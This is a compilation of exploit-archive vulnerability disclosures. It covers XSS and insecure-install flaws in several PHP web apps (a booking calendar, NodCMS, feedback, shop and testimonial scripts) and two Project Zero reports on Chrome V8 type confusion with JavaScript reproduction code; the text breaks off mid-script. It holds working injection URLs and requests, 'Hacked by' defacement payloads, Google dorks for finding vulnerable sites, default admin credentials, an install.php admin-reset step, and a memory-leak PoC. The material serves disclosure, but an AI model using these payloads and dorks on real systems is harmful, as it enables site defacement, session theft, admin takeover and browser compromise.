<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />││ C r a C k E r ┌┘<br />┌┘ T H E C R A C K O F E T E R N A L M I G H T ││<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /> ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ [ Vulnerability ] ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: Author : CraCkEr :<br />│ Website : https://gzscripts.com/availability-booking-calendar-php.html │<br />│ Vendor : GZ Scripts │<br />│ Software : Availability Booking Calendar 1.8 │<br />│ Vuln Type: Reflected XSS - Stored XSS │<br />│ Impact : Manipulate the content of the site │<br />│ │<br />│────────────────────────────────────────────────────────────────────────────────────────│<br />│ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: :<br />│ Release Notes: │<br />│ ═════════════ │<br />│ │<br />│ Reflected XSS │<br />│ │<br />│ The attacker can send to victim a link containing a malicious URL in an email or │<br />│ instant message can perform a wide variety of actions, such as stealing the victim's │<br />│ session token or login credentials │<br />│ │<br />│ │<br />│ Stored XSS │<br />│ │<br />│ Allow Attacker to inject malicious code into website, give ability to steal sensitive │<br />│ information, manipulate data, and launch additional attacks. │<br />│ │ <br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br />Greets:<br /><br /> The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09 <br /> <br /> CryptoJob (Twitter) twitter.com/0x0CryptoJob<br /> <br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ © CraCkEr 2023 ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /><br />Path: /load.php<br /><br />GET 'cid' parameter is vulnerable to RXSS<br /><br />https://website/load.php?controller=GzFront&action=calendar&cid=1vqvby%22%3e%3cscript%3ealert(1)%3c%2fscript%3eg6vt7wmumdm&view_month=1&cal_id=1&month=7&year=2023<br /><br /><br /><br />## Stored XSS<br /><br />-----------------------------------------------<br />POST /AvailabilityBookingCalendarPHP/load.php?controller=GzFront&action=checkout&cid=1 HTTP/1.1<br /><br /><br />date_range=03.07.2023+-+04.07.2023&abadults=&abchildren=&adults=1&children=1&promo_code=&title=prof&male=female&first_name=[XSS Payload]&second_name=[XSS Payload]&phone=000&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload]&address_2=xxx&city=yyy&state=sss&zip=00000&country=LEB&terms=1&start_date=1688342400&end_date=1688428800&cal_id=1&calendar_id=1&from_date=1688342400&to_date=1688428800&payment_method=pay_arrival&create_booking=1<br />-----------------------------------------------<br /><br />POST parameter 'first_name' is vulnerable to XSS<br />POST parameter 'second_name' is vulnerable to XSS<br />POST parameter 'address_1' is vulnerable to XSS<br />POST parameter 'country' is vulnerable to XSS<br /><br /><br />## Steps to Reproduce:<br /><br />1. As a [Guest User] Choose any Day Colored by Green on the Calendar<br />2. Inject your [XSS Payload] in "First Name"<br />3. Inject your [XSS Payload] in "Last Name"<br />4. Inject your [XSS Payload] in "Address Line 1"<br />5. Inject your [XSS Payload] in "Country"<br />6. Accept with terms & Press [Booking]<br /> XSS Fired on Local User Browser<br /><br />7. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)<br /> XSS Will Fire and Executed on his Browser<br /><br />8. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)<br /> XSS Will Fire and Executed on his Browser<br /> <br />9. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php?controller=GzInvoice&action=index)<br /> XSS Will Fire and Executed on his Browser<br /> <br /> <br />[-] Done<br /></code></pre>
<pre><code>====================================================================================================================================<br />| # Title : Anonymous Feedback Script V2.1 xss Vulnerability |<br />| # Author : indoushka |<br />| # Tested on : windows 10 Français V.(Pro) |<br />| # Vendor : https://codecanyon.net/item/anonymous-feedback-script/20633311 | <br />| # Dork : "Welcome to Anonymous Feedback - Anonymous Feedback" |<br />====================================================================================================================================<br /><br /><br />poc :<br /><br /><br />[+] Dorking İn Google Or Other Search Enggine .<br /><br />[+] use payload in search box: install/index.php/"<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>"<br /><br />[+] http://127.0.0.1/www/naizknet/install/index.php/%22%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E%22<br /><br />====Greetings to :=========================================================================================================================<br />| jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh |<br />===========================================================================================================================================<br /></code></pre>
<pre><code>===================================================================<br />| # Title : AMSS++ v 4.2 Insecure Settings Vulnerability |<br />| # Author : indoushka |<br />| # Tested on: windows 8.1 Français V.(Pro) |<br />| # Vendor : http://amssplus.ubn4.go.th/amssplus_download/ |<br />| # Dork : Education Area Management Support System : AMSS++ |<br />===================================================================<br /><br />poc :<br /><br />[+] Dorking İn Google Or Other Search Enggine. <br /><br />[+] Insecure Settings : appears to leave a default administrative account in place post installation.<br /><br />[+] Use Login : user + pass : admin<br /><br /><br /><br />====Greetings to :=======================================================================================================================<br />| jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* CraCkEr * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh |<br />=========================================================================================================================================<br /></code></pre>
<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />││ C r a C k E r ┌┘<br />┌┘ T H E C R A C K O F E T E R N A L M I G H T ││<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /> ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ [ Vulnerability ] ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: Author : CraCkEr :<br />│ Website : https://nodcms.com/ - https://github.com/khodakhah/nodcms │<br />│ Vendor : NodCMS by Chic Theme │<br />│ Software : NodCMS 3.4.1 - Stored XSS │<br />│ Vuln Type: Stored XSS │<br />│ Impact : Manipulate the content of the site │<br />│ │<br />│────────────────────────────────────────────────────────────────────────────────────────│<br />│ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: :<br />│ Release Notes: │<br />│ ═════════════ │<br />│ Allow Attacker to inject malicious code into website, give ability to steal sensitive │<br />│ information, manipulate data, and launch additional attacks. │<br />│ │<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /> Greets:<br /><br /> The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09 <br /> <br /> CryptoJob (Twitter) twitter.com/0x0CryptoJob<br /> <br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ © CraCkEr 2023 ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /><br />## Stored XSS<br /><br />------------------------------------------------------------<br />POST /en/blog-comment-4 HTTP/1.1<br /><br />comment_name=[XSS Payload]&comment_content=[XSS Payload]<br />------------------------------------------------------------<br /><br />POST parameter 'comment_name' is vulnerable to XSS<br />POST parameter 'comment_content' is vulnerable to XSS<br /><br /><br />## Steps to Reproduce:<br /><br />1. Surf (as Guest) "Without Register on Website"<br />2. Go to [Blog] on this Path (https://website/en/blog)<br />3. Click [Send a comment]<br />4. Inject your [XSS Payload] in "Name"<br />5. Inject your [XSS Payload] in "Comment"<br />6. Send<br /><br />7. XSS will Fire & Execute in the visitor's Browser when they visit the page you comment on<br /><br />6. When ADMIN Visit [Client's Comments] to Check [Blog comments list] in Administration Panel on this Path (https://website/admin-blog/comments<br />8. XSS will Fire & Executed on his Browser<br /><br /><br />[-] Done<br /></code></pre>
<pre><code>====================================================================================================================================<br />| # Title : Advanced Testimonials Manager v5.5 Reinstall Add Admin Vulnerability |<br />| # Author : indoushka |<br />| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.3(32-bit) | <br />| # Vendor : https://codecanyon.net/item/advanced-testimonials-manager/113257?s_rank=194 | <br />| # Dork : Advanced Testimonial Manager |<br />====================================================================================================================================<br /><br />poc :<br /><br /><br />[+] Dorking İn Google Or Other Search Enggine.<br /><br />[+] allows an unauthenticated user to update passwords.<br /><br />[+] Use payload : /install.php<br /><br />[+] http://127.0.0.1/www/propertymanagementrv.com/testimonials/install.php = add your information to login<br /><br />====Greetings to :=======================================================================================================================<br />| jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* CraCkEr * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh |<br />=========================================================================================================================================<br /></code></pre>
<pre><code>====================================================================================================================================<br />| # Title : Active super shop v1.5.2 HTML inject Vulnerability |<br />| # Author : indoushka |<br />| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit) | <br />| # Vendor : https://activeitzone.com/demo/shop_v1.5.2_demo/ | <br />| # Dork : "Home || Active Super Shop" |<br />====================================================================================================================================<br /><br /><br />poc :<br /><br />[+] Dorking İn Google Or Other Search Enggine.<br /><br />[+] Register new member .<br /><br />[+] go to edit your profil https://127.0.0.1/activeitzone/com/demo/shop_v1.5.2_demo/<br /><br />[+] edit your profil , put your code or use this code for test in First Name case or Last Name or ...etc :<br /><br /><marquee><font color=lime size=32>Hacked by indoushka</font></marquee><br /></tr><br /><td align="center"><a href="https://cxsecurity.com/author/indoushka/1/"><img src="https://cert.cx/cxstatic/images/12018/cxseci.png" alt="" width="650" height="120" border="0"></a><br /></tr><br /><br />====Greetings to :=======================================================================================================================<br />| jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* CraCkEr * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh |<br />=========================================================================================================================================<br /></code></pre>
<pre><code>Chrome: Extending non-extensible objects leads to type confusion in V8<br /><br />SUMMARY<br />`v8::internal::JSObject::SetAccessor` doesn't check if the receiver is extensible before adding a new property. A potential attacker can exploit the ability to extend non-extensible objects to achieve arbitrary code execution inside the renderer process.<br /><br /><br />VULNERABILITY DETAILS<br />In Blink, when a user calls `window.open(url)` or inserts an `iframe` element with a non-empty URL, the process immediately loads an initial empty document and then initiates navigation to the requested URL. In that case, initialization of the extension subsystem is delayed[1]. If the requested document has the same origin as the empty document, the navigation will reuse the existing global object[2]. When the delayed initialization is resumed, `UpdateBindingsForContext` calls `GetOrCreateChrome`[3], which fetches the `chrome` property value from the global object[5] and defines new properties on `chrome` using `SetLazyDataProperty`[4]. By that time, a user may have replaced the original `chrome` object with a JS value of their choice.<br /><br />`SetLazyDataProperty` is a wrapper around `SetAccessor`. Usually, the function `CheckIfCanDefine` is invoked before adding a property to make sure the receiver is extensible and it doesn't have a non-configurable property with the same name. Unfortunately, `SetAccessor` only verifies the latter with a custom check[6], so, by combining this issue with the extension system initialization quirk, an attacker can define a new accessor property on any non-extensible object.<br /><br />There are likely multiple techniques to exploit the flaw; one such technique abuses the code that implements JS module support. V8 exposes exported module properties via `JSModuleNamespace` objects and relies on them being non-extensible. The engine assumes that for every accessor property in `JSModuleNamespace` there is a corresponding export entry in the linked `JSModule` object and skips security-critical checks.<br /><br />If the attacker creates a bogus export accessor, and V8 attempts to compute an IC handler for it, the process will hit a DCHECK[7] in debug builds, and pass the invalid entry `kNotFound` to `EntryToValueIndex`[8] in release builds. The resulting index will point to the \"number of elements\" field in the hash table, which will be interpreted by the handler as a compressed pointer to a `Cell` object[9]. The value of the cell will be returned to the user code. This behavior is essentially a well-known `fakeobj` exploitation primitive.<br /><br /><br />REFERENCES<br />https://source.chromium.org/chromium/chromium/src/+/refs/heads/main:extensions/renderer/extension_frame_helper.cc;drc=e0e0d24aaa54727dc0a8bc4b159ccdf80d3f5d8d;l=380<br />```<br />void ExtensionFrameHelper::DidCreateScriptContext(<br /> v8::Local<v8::Context> context,<br /> int32_t world_id) {<br /> if (world_id == blink::kMainDOMWorldId) {<br /> // Accessing MainWorldScriptContext() in ReadyToCommitNavigation() may<br /> // trigger the script context initializing, so we don't want to initialize a<br /> // second time here.<br /> if (is_initializing_main_world_script_context_)<br /> return;<br /> if (render_frame()->IsBrowserSideNavigationPending()) {<br /> // Defer initializing the extensions script context now because it depends<br /> // on having the URL of the provisional load which isn't available at this<br /> // point.<br /> // We can come here twice in the case of window.open(url): first for<br /> // about:blank empty document, then possibly for the actual url load<br /> // (depends on whoever triggers window proxy init), before getting<br /> // ReadyToCommitNavigation.<br /> delayed_main_world_script_initialization_ = true; // *** [1] ***<br /> return;<br /> }<br />[...]<br />```<br /><br />https://source.chromium.org/chromium/chromium/src/+/refs/heads/main:third_party/blink/renderer/core/loader/document_loader.cc;drc=e0e0d24aaa54727dc0a8bc4b159ccdf80d3f5d8d;l=2171<br />```<br />void DocumentLoader::InitializeWindow(Document* owner_document) {<br />[...]<br /> // In some rare cases, we'll re-use a LocalDOMWindow for a new Document. For<br /> // example, when a script calls window.open(\"...\"), the browser gives<br /> // JavaScript a window synchronously but kicks off the load in the window<br /> // asynchronously. Web sites expect that modifications that they make to the<br /> // window object synchronously won't be blown away when the network load<br /> // commits. To make that happen, we \"securely transition\" the existing<br /> // LocalDOMWindow to the Document that results from the network load. See also<br /> // Document::IsSecureTransitionTo.<br /> if (!ShouldReuseDOMWindow(frame_->DomWindow(), security_origin.get(),<br /> window_anonymous_matching)) { // *** [2] ***<br />[...]<br />```<br /><br />https://source.chromium.org/chromium/chromium/src/+/main:extensions/renderer/native_extension_bindings_system.cc;drc=02335a6b11d934d954cb4d7e02e5c66e1f37f191;l=503<br />```<br />void NativeExtensionBindingsSystem::UpdateBindingsForContext(<br /> ScriptContext* context) {<br /> v8::Isolate* isolate = context->isolate();<br /> v8::HandleScope handle_scope(isolate);<br /> v8::Local<v8::Context> v8_context = context->v8_context();<br /> v8::Local<v8::Object> chrome = GetOrCreateChrome(v8_context); // *** [3] ***<br /> if (chrome.IsEmpty()) {<br /> return;<br /> }<br /><br /> DCHECK(GetBindingsDataFromContext(v8_context));<br /><br /> auto set_accessor = [chrome, isolate,<br /> v8_context](base::StringPiece accessor_name) {<br /> v8::Local<v8::String> api_name =<br /> gin::StringToSymbol(isolate, accessor_name);<br /> v8::Maybe<bool> success = chrome->SetLazyDataProperty( // *** [4] ***<br /> v8_context, api_name, &BindingAccessor, api_name);<br /> return success.IsJust() && success.FromJust();<br /> };<br />```<br /><br />https://source.chromium.org/chromium/chromium/src/+/main:extensions/renderer/native_extension_bindings_system.cc;drc=57b92c9b9630156148f8589ffe6e0ee857a791c4;l=116<br />```<br />v8::Local<v8::Object> GetOrCreateChrome(v8::Local<v8::Context> context) {<br /> // Ensure that the creation context for any new chrome object is |context|.<br /> v8::Context::Scope context_scope(context);<br /><br /> // TODO(devlin): This is a little silly. We expect that this may do the wrong<br /> // thing if the window has set some other 'chrome' (as in the case of script<br /> // doing 'window.chrome = true'), but we don't really handle it. It could also<br /> // throw exceptions or have unintended side effects.<br /> // On the one hand, anyone writing that code is probably asking for trouble.<br /> // On the other, it'd be nice to avoid. I wonder if we can?<br /> v8::Local<v8::String> chrome_string =<br /> gin::StringToSymbol(context->GetIsolate(), \"chrome\");<br /> v8::Local<v8::Value> chrome_value;<br /> if (!context->Global()->Get(context, chrome_string).ToLocal(&chrome_value)) // *** [5] ***<br /> return v8::Local<v8::Object>();<br />[...]<br />```<br /><br />https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-objects.cc;drc=4becb939339f1de4744f95b9fcb10bda57cf7e99;l=4748<br />```<br />MaybeHandle<Object> JSObject::SetAccessor(Handle<JSObject> object,<br /> Handle<Name> name,<br /> Handle<AccessorInfo> info,<br /> PropertyAttributes attributes) {<br /> Isolate* isolate = object->GetIsolate();<br /><br /> PropertyKey key(isolate, name);<br /> LookupIterator it(isolate, object, key, LookupIterator::OWN_SKIP_INTERCEPTOR);<br />[...]<br /> CHECK(GetPropertyAttributes(&it).IsJust());<br /><br /> // ES5 forbids turning a property into an accessor if it's not<br /> // configurable. See 8.6.1 (Table 5).<br /> if (it.IsFound() && !it.IsConfigurable()) { // *** [6] ***<br /> return it.factory()->undefined_value();<br /> }<br /><br /> it.TransitionToAccessorPair(info, attributes);<br /><br /> return object;<br />}<br />```<br /><br />https://source.chromium.org/chromium/chromium/src/+/main:v8/src/ic/ic.cc;drc=1f3358ace7565e5efc4f49611d97838901ae13f2;l=843<br />```<br />MaybeObjectHandle LoadIC::ComputeHandler(LookupIterator* lookup) {<br />[...]<br /> case LookupIterator::ACCESSOR: {<br /> Handle<JSObject> holder = lookup->GetHolder<JSObject>();<br />[...]<br /> if (holder->IsJSModuleNamespace()) {<br /> Handle<ObjectHashTable> exports(<br /> Handle<JSModuleNamespace>::cast(holder)->module().exports(),<br /> isolate());<br /> InternalIndex entry =<br /> exports->FindEntry(isolate(), roots, lookup->name(),<br /> Smi::ToInt(lookup->name()->GetHash()));<br /> // We found the accessor, so the entry must exist.<br /> DCHECK(entry.is_found()); // *** [7] ***<br /> int value_index = ObjectHashTable::EntryToValueIndex(entry); // *** [8] ***<br /> Handle<Smi> smi_handler =<br /> LoadHandler::LoadModuleExport(isolate(), value_index);<br /> if (holder_is_lookup_start_object) {<br /> return MaybeObjectHandle(smi_handler);<br /> }<br /> return MaybeObjectHandle(LoadHandler::LoadFromPrototype(<br /> isolate(), map, holder, smi_handler));<br /> }<br />[...]<br />```<br /><br />https://source.chromium.org/chromium/chromium/src/+/refs/heads/main:v8/src/ic/accessor-assembler.cc;drc=e0e0d24aaa54727dc0a8bc4b159ccdf80d3f5d8d;l=647<br />```<br />void AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase(<br /> const LazyLoadICParameters* p, TNode<Object> holder,<br /> TNode<Uint32T> handler_kind, TNode<Word32T> handler_word,<br /> Label* rebox_double, TVariable<Float64T>* var_double_value,<br /> TNode<MaybeObject> handler, Label* miss, ExitPoint* exit_point,<br /> ICMode ic_mode, OnNonExistent on_nonexistent,<br /> ElementSupport support_elements) {<br />[...]<br /> BIND(&module_export);<br /> {<br /> Comment(\"module export\");<br /> TNode<UintPtrT> index =<br /> DecodeWordFromWord32<LoadHandler::ExportsIndexBits>(handler_word);<br /> TNode<Module> module =<br /> LoadObjectField<Module>(CAST(holder), JSModuleNamespace::kModuleOffset);<br /> TNode<ObjectHashTable> exports =<br /> LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);<br /> TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index)); // *** [9] ***<br /> // The handler is only installed for exports that exist.<br /> TNode<Object> value = LoadCellValue(cell);<br /> Label is_the_hole(this, Label::kDeferred);<br /> GotoIf(IsTheHole(value), &is_the_hole);<br /> exit_point->Return(value);<br />[...]<br />}<br />```<br /><br /><br />VERSION<br />Google Chrome 113.0.5672.63 (Official Build) (64-bit) <br /><br /><br /><br />REPRODUCTION CASE<br />```<br /><body><br /><script><br />const PROP_COUNT = 2 ** 10; // Controls the fake Cell address.<br />const IC_WARMUP_COUNT = 10;<br /><br />if (top == window) {<br /> function generateModuleUrl() {<br /> let url = \"data:text/javascript,export let \";<br /> for (let i = 0; i < PROP_COUNT; ++i)<br /> url += (i ? \",\" : \"\") + `p${i}`;<br /> return url;<br /> }<br /><br /> let frame = document.createElement(\"iframe\");<br /> frame.src = location; // Must be set before attaching the frame.<br /> document.body.appendChild(frame);<br /><br /> let child_window = frame.contentWindow;<br /> // The `chrome` object must be from the same context as the `window` object.<br /> queueMicrotask(_ => child_window.eval(\"import(top.generateModuleUrl())\")<br /> .then(module => {<br /> child_window.chrome = module;<br /> child_window.onload = () => {<br /> frame.remove(); // prevents `app` from being reconfigured as a data property.<br /><br /> function accessIC() { return module.app; }<br /> for (let i = 0; i < IC_WARMUP_COUNT; ++i)<br /> accessIC();<br /><br /> document.body.textContent = \"leaked: \" + accessIC();<br /> }<br /> }));<br />}<br /></script><br /></body><br />```<br /><br /><br />CREDIT INFORMATION<br />Sergei Glazunov of Google Project Zero<br /><br /><br />This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2023-08-06.<br /><br /><br />Related CVE Numbers: CVE-2023-2936.<br /><br /><br /><br />Found by: glazunov@google.com<br /><br /></code></pre>
<pre><code>Chrome: Type confusion in v8::internal::Object::SetPropertyWithAccessor<br /><br />VULNERABILITY DETAILS<br />When `SetSuperProperty` can't find the requested property in the holder, it performs an `OWN` lookup on the receiver. If the receiver has a property interceptor installed, the function invokes the interceptor's descriptor callback[1] and, if the callback opts not to intercept the request[2], creates a new property by calling `CreateDataProperty` on the original lookup iterator[3].<br /><br />Some descriptor callbacks, for example, the one used with `HTMLCollection` objects, call `GetRealNamedPropertyAttributesInPrototypeChain`[4] to ensure they don't hide an existing property in the prototype chain. The function works by creating a lookup iterator that starts with the receiver's prototype and calling `GetPropertyAttributes` on it. Finally, if `GetPropertyAttributes` encounters a JavaScript Proxy object, it runs the descriptor handler of the proxy. This creates a user code reentrancy point.<br /><br />The problem is that the user code in the proxy handler might invalidate `own_lookup`, which is used in [3], by modifying the object, for example, by creating a property with the same name. In this scenario, `own_lookup` will be in the `NOT_FOUND` state, and `CreateDataProperty` will attempt to add a second property with the same name.<br /><br />This primitive has been abused multiple times in the past, including exploits detected in the wild, to break field type tracking and bypass security-critical checks in TurboFan. Therefore, last year a hardening patch was landed[6] that catches duplicate properties in \"fast property\" mode objects. We were aware of the fact that it would still be possible to create duplicate properties in \"dictionary mode\" objects with a similar vulnerability, however, even if such an object is converted to the fast mode, its field types are generalized i.e. useless for field type tracker.<br /><br />It turns out there's a way to exploit the duplicate property primitive without abusing field type tracking or TurboFan at all. The basic idea is that, depending on the current order of the properties, a property lookup for a duplicate property name might return a different value, and an object shape change, for example, transitioning between \"fast\" and \"dictionary\" properties, might reshuffle the properties.<br /><br />More specifically, when `DefineOwnPropertyIgnoreAttributes` encounters a special `AccessorInfo` property and the requested attributes don't match the current ones, it will first call `TransitionToAccessorPair`[7] to update the attributes. `TransitionToAccessorPair` might reshape the object twice if needed: first from \"fast\" to \"slow\"[9] and then back to \"fast\"[10]. After that, it restarts the lookup in the current object[11]. However, if the property is a duplicate, the new lookup might point to a different value which isn't even an accessor. This value is later used for the `SetPropertyWithAccessor` call[8].<br /><br />In debug builds, this will lead to the `DCHECK_EQ(ACCESSOR, state_)` assertion failure in `LookupIterator::GetAccessors`. In release builds, a value of an attacker's choice will be interpreted as an `AccessorPair` object.<br /><br /><br />REFERENCES<br />https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/objects.cc;drc=f49e998b8d369971b65bc980846d2395bf4dee30;l=2665<br />```<br />Maybe<bool> Object::SetSuperProperty(LookupIterator* it, Handle<Object> value,<br /> StoreOrigin store_origin,<br /> Maybe<ShouldThrow> should_throw) {<br /> Isolate* isolate = it->isolate();<br /><br /> if (it->IsFound()) {<br /> bool found = true;<br /> Maybe<bool> result =<br /> SetPropertyInternal(it, value, should_throw, store_origin, &found);<br /> if (found) return result;<br /> }<br />[...]<br /> Handle<JSReceiver> receiver = Handle<JSReceiver>::cast(it->GetReceiver());<br /><br /> // Note, the callers rely on the fact that this code is redoing the full own<br /> // lookup from scratch.<br /> LookupIterator::Configuration c = LookupIterator::OWN;<br /> LookupIterator own_lookup =<br /> it->IsElement() ? LookupIterator(isolate, receiver, it->index(), c)<br /> : LookupIterator(isolate, receiver, it->name(), c);<br /><br /> for (; own_lookup.IsFound(); own_lookup.Next()) {<br /> switch (own_lookup.state()) {<br />[...]<br /> case LookupIterator::INTERCEPTOR:<br /> case LookupIterator::JSPROXY: {<br /> PropertyDescriptor desc;<br /> Maybe<bool> owned =<br /> JSReceiver::GetOwnPropertyDescriptor(&own_lookup, &desc); // *** [1] ***<br /> MAYBE_RETURN(owned, Nothing<bool>());<br /> if (!owned.FromJust()) { // *** [2] ***<br /> if (!CheckContextualStoreToJSGlobalObject(&own_lookup,<br /> should_throw)) {<br /> return Nothing<bool>();<br /> }<br /> return JSReceiver::CreateDataProperty(&own_lookup, value, // *** [3] ***<br /> should_throw);<br /> }<br />[...]<br />}<br /><br />https://source.chromium.org/chromium/chromium/src/+/refs/heads/main:out/Debug/gen/third_party/blink/renderer/bindings/core/v8/v8_html_collection.cc;drc=332f92aab4a32607f7813ac1a824f6ff0d86c369;l=197<br />```<br />void V8HTMLCollection::NamedPropertyDescriptorCallback(<br /> v8::Local<v8::Name> v8_property_name,<br /> const v8::PropertyCallbackInfo<v8::Value>& info) {<br /> RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(<br /> info.GetIsolate(), \"Blink_HTMLCollection_NamedPropertyDescriptor\");<br /><br /> // LegacyPlatformObjectGetOwnProperty<br /> // https://webidl.spec.whatwg.org/#LegacyPlatformObjectGetOwnProperty<br /> v8::Local<v8::Object> v8_receiver = info.Holder();<br /> v8::Isolate* isolate = info.GetIsolate();<br /> v8::Local<v8::Context> current_context = isolate->GetCurrentContext();<br /> // step 2.1. If the result of running the named property visibility algorithm<br /> // with property name P and object O is true, then:<br /> if (v8_receiver<br /> ->GetRealNamedPropertyAttributesInPrototypeChain(current_context, // *** [4] ***<br /> v8_property_name)<br /> .IsJust()) {<br /> return; // Do not intercept. Fallback to OrdinaryGetOwnProperty.<br /> }<br />[...]<br />}<br />```<br /><br />https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-objects.cc;drc=181f556032737223b6e43a48b81943b2f990daa8;l=753<br />```<br />Maybe<PropertyAttributes> JSReceiver::GetPropertyAttributes(<br /> LookupIterator* it) {<br /> for (; it->IsFound(); it->Next()) {<br /> switch (it->state()) {<br />[...]<br /> case LookupIterator::JSPROXY:<br /> return JSProxy::GetPropertyAttributes(it); // *** [5] ***<br />[...]<br />```<br /><br />[6] - https://source.chromium.org/chromium/_/chromium/v8/v8.git/+/3c7f274770e90b766ed554a6ca599e70341c9735<br /><br />https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-objects.cc;drc=181f556032737223b6e43a48b81943b2f990daa8;l=3650<br />```<br />Maybe<bool> JSObject::DefineOwnPropertyIgnoreAttributes(<br /> LookupIterator* it, Handle<Object> value, PropertyAttributes attributes,<br /> Maybe<ShouldThrow> should_throw, AccessorInfoHandling handling,<br /> EnforceDefineSemantics semantics, StoreOrigin store_origin) {<br />[...]<br /> case LookupIterator::ACCESSOR: {<br /> Handle<Object> accessors = it->GetAccessors();<br /><br /> // Special handling for AccessorInfo, which behaves like a data<br /> // property.<br /> if (accessors->IsAccessorInfo() && handling == DONT_FORCE_FIELD) {<br /> PropertyAttributes current_attributes = it->property_attributes();<br /> // Ensure the context isn't changed after calling into accessors.<br /> AssertNoContextChange ncc(it->isolate());<br /><br /> // Update the attributes before calling the setter. The setter may<br /> // later change the shape of the property.<br /> if (current_attributes != attributes) {<br /> it->TransitionToAccessorPair(accessors, attributes); // *** [7] ***<br /> }<br /><br /> return Object::SetPropertyWithAccessor(it, value, should_throw); // *** [8] ***<br /> }<br />```<br /><br />https://source.chromium.org/chromium/chromium/src/+/refs/heads/main:v8/src/objects/lookup.cc;drc=332f92aab4a32607f7813ac1a824f6ff0d86c369;l=815<br />```<br />void LookupIterator::TransitionToAccessorPair(Handle<Object> pair,<br /> PropertyAttributes attributes) {<br /> Handle<JSObject> receiver = GetStoreTarget<JSObject>();<br /> holder_ = receiver;<br /><br /> PropertyDetails details(PropertyKind::kAccessor, attributes,<br /> PropertyCellType::kMutable);<br /><br /> if (IsElement(*receiver)) {<br />[...]<br /> } else {<br /> PropertyNormalizationMode mode = CLEAR_INOBJECT_PROPERTIES;<br /> if (receiver->map(isolate_).is_prototype_map()) {<br /> JSObject::InvalidatePrototypeChains(receiver->map(isolate_));<br /> mode = KEEP_INOBJECT_PROPERTIES;<br /> }<br /><br /> // Normalize object to make this operation simple.<br /> JSObject::NormalizeProperties(isolate_, receiver, mode, 0, // *** 9 ***<br /> \"TransitionToAccessorPair\");<br /><br /> JSObject::SetNormalizedProperty(receiver, name_, pair, details);<br /> JSObject::ReoptimizeIfPrototype(receiver); // *** [10] ***<br /><br /> ReloadPropertyInformation<false>(); // *** [11] ***<br /> }<br />}<br />```<br /><br /><br />VERSION<br />Google Chrome 112.0.5615.137 (Official Build) (arm64)<br />Chromium 115.0.5737.0 (Developer Build) (64-bit)<br /><br /><br />REPRODUCTION CASE<br />```<br /><body><br /><script><br />class Utils {<br /> static bigIntAsDouble(big_int) {<br /> Utils.#big_int_array[0] = big_int;<br /> return Utils.#double_array[0];<br /> }<br /><br /> static transitionToSlow(object) {<br /> try {<br /> // `SetOrCopyDataProperties` will make `object` transition to slow properties<br /> // then throw while trying to access the first property of `source.`<br /> Object.assign(object, Utils.#slow_source);<br /> } catch { }<br /> }<br /><br /> static transitionToFastPrototype(object) {<br /> // Assigning `__proto__` will make `object` transition to a prototype map.<br /> // `Enumerate` will call `MakePrototypesFast`.<br /> for (let x in { __proto__ : object }) {}<br /> }<br /><br /> // Some interceptors call `GetRealNamedPropertyAttributesInPrototypeChain`. If there is a JSProxy<br /> // in the prototype chain, the function will attempt to invoke the `getOwnPropertyDescriptor` handler.<br /> static setInterceptorOnceCallback(object, callback) {<br /> let prototype = Object.getPrototypeOf(object);<br /> let grand_prototype = 